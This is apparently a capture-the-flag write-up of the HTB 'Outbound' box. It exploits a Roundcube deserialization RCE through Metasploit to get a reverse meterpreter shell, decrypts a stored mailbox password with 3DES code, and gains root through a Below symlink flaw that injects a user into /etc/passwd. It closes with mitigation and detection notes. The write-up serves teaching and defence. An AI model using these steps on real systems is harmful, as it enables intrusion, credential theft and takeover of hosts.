HTB Writeup: Outbound
Roundcube Webmail post-auth RCE (CVE-2025-49113) → decrypt stored mailbox credentials → pivot to SSH as jacob → privilege escalation to root via Below (CVE-2025-27591).
A quick walkthrough of HTB Outbound Linux Easy Box.
TL;DR
- Nmap shows SSH and HTTP (nginx) only. HTTP redirects to
mail.outbound.htb, which runs Roundcube Webmail. - HTB provides initial Roundcube credentials for
tyler / LhKL1o9Nm3X2. - Roundcube is version 1.6.10, vulnerable to CVE-2025-49113 (post-auth RCE via PHP object deserialization).
→ Use the Metasploit moduleexploit/multi/http/roundcube_auth_rce_cve_2025_49113to get awww-datashell. - From the Roundcube config file, extract the MySQL credentials and
des_key.
→ Query thesessiontable, decode the serialized session blob forjacob, and use thedes_keyto decrypt his stored IMAP password with 3DES (DES-EDE3-CBC). - Log into Jacob’s Roundcube mailbox with the decrypted password, grab the new system password from Tyler’s email, and SSH in as
jacob. sudo -lshows thatjacobcan run/usr/bin/belowas root without a password.
→ The installed version is vulnerable to CVE-2025-27591 (world-writable/var/log/below), so use a public PoC to abuse a symlink to/etc/passwdand get a root shell.- Read
user.txtandroot.txt.
Initial enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Outbound]
└─$ sudo nmap -Pn -n 10.129.228.206 -sC -sV -T4 -A -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 08:36 CEST
Nmap scan report for 10.129.228.206
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 27.51 ms 10.10.14.1
2 27.58 ms 10.129.228.206
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.34 seconds
ProTip™: When you see an HTTP service that immediately redirects to a hostname (here: mail.outbound.htb), add it to /etc/hosts straight away. It saves a lot of “why is this 404’ing?” headaches later.
Info: For this box, HTB gives you initial Roundcube credentials for the tyler mailbox in the machine description. We’ll use those to get our first foothold.
Foothold
As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2
After adding the domain to /etc/hosts:
1
10.129.228.206 outbound.htb mail.outbound.htb
we can browse to http://mail.outbound.htb/ and log into Roundcube with Tyler’s credentials.
From the UI footer / RCMAIL_VERSION we identify the Roundcube version as 1.6.10. Looking for any available exploit, I found this one about CVE-2025-49113 :
https://www.exploit-db.com/exploits/52324
This is a post-authentication RCE via PHP object deserialization when handling the _from parameter in a specific upload endpoint.
There is a Metasploit module available:
- exploit/multi/http/roundcube_auth_rce_cve_2025_49113
So I fire up msfconsole and configure it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Outbound]
└─$ sudo msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
=[ metasploit v6.4.69-dev ]
+ -- --=[ 2529 exploits - 1302 auxiliary - 431 post ]
+ -- --=[ 1672 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[*] Starting persistent handler(s)...
msf6 > search roundcube
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/roundcube_auth_file_read 2017-11-09 normal No Roundcube TimeZone Authenticated File Disclosure
1 exploit/multi/http/roundcube_auth_rce_cve_2025_49113 2025-06-02 excellent Yes Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization
2 \_ target: Linux Dropper . . . .
3 \_ target: Linux Command . . . .
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/roundcube_auth_rce_cve_2025_49113
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Command'
msf6 > use 1
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > show options
Module options (exploit/multi/http/roundcube_auth_rce_cve_2025_49113):
Name Current Setting Required Description
---- --------------- -------- -----------
HOST no The hostname of Roundcube server
PASSWORD yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the Roundcube Application
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes Email User to login with
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Dropper
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set lhost tun0
lhost => 10.10.14.18
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set username tyler
username => tyler
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set password LhKL1o9Nm3X2
password => LhKL1o9Nm3X2
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set vhost mail.outbound.htb
vhost => mail.outbound.htb
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set rhosts 10.129.228.206
rhosts => 10.129.228.206
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > run
[*] Started reverse TCP handler on 10.10.14.18:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Extracted version: 10610
[+] The target appears to be vulnerable.
[*] Fetching CSRF token...
[+] Extracted token: OBe26xfrUwXlVSpHB9ewk8vxyLCukLvI
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[+] Exploit attempt complete. Check for session.
[*] Sending stage (3045380 bytes) to 10.129.228.206
[*] Meterpreter session 1 opened (10.10.14.18:4444 -> 10.129.228.206:58706) at 2025-07-14 08:45:45 +0200
meterpreter > ps
Process List
============
PID PPID Name Arch User Path
--- ---- ---- ---- ---- ----
1 0 init.sh x86_64 root
40 1 mariadbd-safe x86_64 root
143 40 mariadbd x86_64 mysql
144 40 logger x86_64 root
203 1 nginx x86_64 root
206 203 nginx x86_64 www-data /usr/sbin/nginx
207 203 nginx x86_64 www-data /usr/sbin/nginx
248 1 php-fpm8.3 x86_64 root
249 248 php-fpm8.3 x86_64 www-data
250 248 php-fpm8.3 x86_64 www-data
557 1 master x86_64 root
558 557 pickup x86_64 postfix
559 557 qmgr x86_64 postfix
568 1 tail x86_64 root
593 1 dovecot x86_64 root
594 593 anvil x86_64 dovecot
595 593 log x86_64 root
596 593 config x86_64 root
665 593 stats x86_64 dovecot
666 593 auth x86_64 dovecot
723 593 auth x86_64 root
757 1 sh x86_64 www-data /usr/bin/dash
762 757 sHWGO x86_64 www-data /tmp/sHWGO
meterpreter > getuid
Server username: www-data
meterpreter >
I now have code execution as www-data in the Roundcube host. The next step is to loot Roundcube’s configuration in which I immediately found the DB credentials and DES key:
1
2
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
With these, I can access the Roundcube database and decrypt stored secrets.
1
2
3
4
5
mysql -D roundcube -uroundcube -pRCDBPass2025 -e "select * from users;"
user_id username mail_host created last_login failed_login failed_login_counter language preferences
1 jacob localhost 2025-06-07 13:55:18 2025-06-11 07:52:49 2025-06-11 07:51:32 1 en_US a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";}
2 mel localhost 2025-06-08 12:04:51 2025-06-08 13:29:05 NULL NULL en_US a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";}
3 tyler localhost 2025-06-08 13:28:55 2025-07-14 06:45:42 2025-06-11 07:51:22 1 en_US a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";}
There was also a base64 encoded blob in the session table :
1
2
3
mysql -D roundcube -uroundcube -pRCDBPass2025 -e "select * from session;"
sess_id changed ip vars
6a5ktqih5uca6lj8vrmgh9v0oh 2025-06-08 15:46:40 172.17.0.1 bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7
Once decoded, I got a password, auth secret, request token and des key :
1
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";
So :
1
2
3
4
password : L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
auth_secret : DpYqv6maI9HxDL5GhcCd8JaQQW
request_token : TIsOaABA1zHSXZOBpH6up5XFyayNRHaw
des key : rcmail-!24ByteDESkey*Str
But we need to understand better how this encryption is working.
The interesting part in roundcube’s code look like this :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* Decrypt a string
*
* @param string $cipher Encrypted text
* @param string $key Encryption key to retrieve from the configuration, defaults to 'des_key'
* @param bool $base64 Whether or not input is base64-encoded
*
* @return string|false Decrypted text, false on error
*/
public function decrypt($cipher, $key = 'des_key', $base64 = true)
{
// @phpstan-ignore-next-line
if (!is_string($cipher) || !strlen($cipher)) {
return false;
}
if ($base64) {
$cipher = base64_decode($cipher, true);
if ($cipher === false) {
return false;
}
}
$ckey = $this->config->get_crypto_key($key);
$method = $this->config->get_crypto_method();
$iv_size = openssl_cipher_iv_length($method);
$tag = null;
if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
$tag = $matches[1];
$cipher = substr($cipher, strlen($matches[0]));
}
$iv = substr($cipher, 0, $iv_size);
// session corruption? (#1485970)
if (strlen($iv) < $iv_size) {
return false;
}
$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);
return $clear;
}
1
2
3
public function get_crypto_method() {
return $this->get('cipher_method') ?: 'DES-EDE3-CBC';
}
- It uses 3DES in CBC mode.
- The first 8 bytes of the base64-decoded blob are the IV.
- The rest is the actual ciphertext.
The decryption logic is that iv is the first 8 bytes of the b64 decoded password value, so : 2fb46fd3403c4eec
1
2
3
$iv = substr($cipher, 0, 8);
$ciphertext = substr($cipher, 8);
openssl_decrypt($ciphertext, 'DES-EDE3-CBC', $key, ..., $iv);
I can replicate that in Python with pycryptodome:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import DES3
import base64
b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
data = base64.b64decode(b64)
key = b'rcmail-!24ByteDESkey*Str' # 24 bytes
iv = data[:8] # first 8 bytes = IV
ciphertext = data[8:] # rest = encrypted password
cipher = DES3.new(key, DES3.MODE_CBC, iv=iv)
plaintext = cipher.decrypt(ciphertext)
# PKCS5/7 unpad
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]
print("Decrypted password:", plaintext.decode())
1
2
3
┌──(venv)─(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Outbound]
└─$ python decrypt.py
Decrypted password: 595mO8DmwGeD
You can also use this online tool :
https://www.devglan.com/online-tools/triple-des-encrypt-decrypt
I now have the password for jacob. Let’s login and see what’s in this user mailbox.
Great, there is mail from Tyler giving us the new password : gY4Wr3a1evp4
User Flag
This password gave me direct SSH access as jacob and the user flag :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(venv)─(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Outbound]
└─$ ssh jacob@outbound.htb
jacob@outbound.htb's password:
Permission denied, please try again.
jacob@outbound.htb's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Jul 14 01:27:14 PM UTC 2025
System load: 0.0 Processes: 255
Usage of /: 72.6% of 6.73GB Users logged in: 0
Memory usage: 13% IPv4 address for eth0: 10.129.228.206
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Last login: Thu Jul 10 11:44:49 2025 from 10.10.14.77
jacob@outbound:~$ ll
total 28
drwxr-x--- 3 jacob jacob 4096 Jul 8 20:14 ./
drwxr-xr-x 5 root root 4096 Jul 8 20:14 ../
lrwxrwxrwx 1 root root 9 Jul 8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob 220 Jun 8 12:14 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Jun 8 12:14 .bashrc
drwx------ 2 jacob jacob 4096 Jun 11 11:32 .cache/
-rw-r--r-- 1 jacob jacob 807 Jun 8 12:14 .profile
-rw-r----- 1 root jacob 33 Jul 14 06:36 user.txt
jacob@outbound:~$ cat user.txt
586c09760e9dd9291a230147ffc5d892
jacob@outbound:~$
Privilege Escalation
Let’s see what can jacob do using sudo :
1
2
3
4
5
6
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
That’s an unusual binary, but I found that below is a resource monitor from Meta.
https://github.com/facebookincubator/below
There is already an existing exploit here :
https://github.com/BridgerAlderson/CVE-2025-27591-PoC
The description is :
A privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.
The general idea:
- Confirm /var/log/below is world-writable.
- Remove error_root.log if it exists.
- Create a symlink error_root.log -> /etc/passwd.
- Trigger sudo below record so that Below writes a log entry as root, following the symlink.
- Inject a line in /etc/passwd that creates a new root-privileged user we control.
Root Flag
Using the exploit, I now have a root shell through the attacker user injected into /etc/passwd:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
jacob@outbound:~$ python3 exploit.py
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] /var/log/below/error_root.log is a regular file. Removing it...
[+] Symlink created: /var/log/below/error_root.log -> /etc/passwd
[+] Target is vulnerable.
[*] Starting exploitation...
[+] Wrote malicious passwd line to /tmp/attacker
[+] Symlink set: /var/log/below/error_root.log -> /etc/passwd
[*] Executing 'below record' as root to trigger logging...
Jul 14 15:19:52.108 DEBG Starting up!
Jul 14 15:19:52.109 ERRO
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01752451200: EAGAIN: Try again
-------------------------------------------------------------
[+] 'below record' executed.
[*] Copying payload into /etc/passwd via symlink...
[+] Running: cp /tmp/attacker /var/log/below/error_root.log
[*] Attempting to switch to root shell via 'su attacker'...
attacker@outbound:/home/jacob# id
uid=0(attacker) gid=0(root) groups=0(root)
attacker@outbound:/home/jacob#
attacker@outbound:/home/jacob# id
uid=0(attacker) gid=0(root) groups=0(root)
attacker@outbound:/home/jacob# cd /root
attacker@outbound:~# ll
total 40
drwx------ 6 root root 4096 Jul 14 06:36 ./
drwxr-xr-x 23 root root 4096 Jul 8 20:14 ../
lrwxrwxrwx 1 root root 9 Jul 8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
drwx------ 2 root root 4096 Jul 8 20:14 .cache/
-rw------- 1 root root 20 Jul 9 13:53 .lesshst
drwxr-xr-x 3 root root 4096 Jul 8 20:14 .local/
-rw-r--r-- 1 root root 161 Apr 22 2024 .profile
-rw-r----- 1 root root 33 Jul 14 06:36 root.txt
drwxr-xr-x 2 root root 4096 Jul 9 13:47 .scripts/
drwx------ 2 root root 4096 Jul 8 20:14 .ssh/
attacker@outbound:~# cat root.txt
3eea69dd79f550441da316b26ccd7371
attacker@outbound:~#
Root flag obtained.
Mitigations / Blue team notes
Roundcube / Web layer
- Patch Roundcube
- Upgrade to 1.5.10 / 1.6.11 or later, which fixes CVE-2025-49113 (post-auth RCE via PHP object deserialization in the _from parameter).
- Subscribe to upstream security advisories and keep webmail software on a regular patch cycle.
- Harden crypto & secrets
- Rotate the des_key used by Roundcube and force a password reset for all mail users if compromise is suspected (an attacker can decrypt stored IMAP passwords once they have the key).
- Consider using a stronger cipher and key management mechanism instead of hard-coded keys in config files.
- Restrict filesystem permissions so web server users (www-data) cannot read secrets beyond what’s strictly required.
- Least privilege DB access
- Restrict the Roundcube DB user to only required tables/permissions (e.g., SELECT/INSERT/UPDATE on specific tables) to limit what an attacker can dump if the app is compromised.
- Detection ideas
- Monitor application logs and WAF telemetry for suspicious requests to Roundcube endpoints handling uploads, especially with abnormal _from parameters or serialized payloads.
- Alert on unusual spikes in login failures or new IPs accessing Roundcube with valid user creds.
Host / Below (CVE-2025-27591)
- Patch Below
- Upgrade below to v0.9.0 or later, which remediates the world-writable logging path and insecure symlink behavior.
- Fix file permissions
- Ensure /var/log/below is not world-writable; typical log directories should be owned by root:root with 0750 or similar.
- Periodically audit for world-writable directories and log files under /var and /tmp that are not explicitly needed.
- Harden sudo
- Remove NOPASSWD rights for below from non-admin users. If it must be available:
- Use a dedicated service user with limited shell access.
- Wrap below in a controlled script that forbids unsafe modes and restricts arguments even further.
- Remove NOPASSWD rights for below from non-admin users. If it must be available:
- Detection ideas
- Alert on:
- Creation of symlinks inside /var/log/below/ pointing to sensitive files (e.g. /etc/passwd, /etc/shadow).
- Execution of sudo below record by non-admin users.
- Changes to /etc/passwd or /etc/shadow outside of expected tools (useradd, passwd, configuration management).
- Monitor for new accounts with uid=0 or users suddenly added to privileged groups.
- Alert on:
General
- Credential hygiene
- Avoid sending system passwords over email in cleartext. Use a secure vault or out-of-band distribution mechanism.
- Enforce password rotation and MFA for webmail access.
- Segmentation & containment
- Isolate webmail servers from core infrastructure and apply strict egress filtering so a compromised webmail instance has limited reach.
- Use containerization and strong AppArmor/SELinux profiles to reduce impact of an RCE.



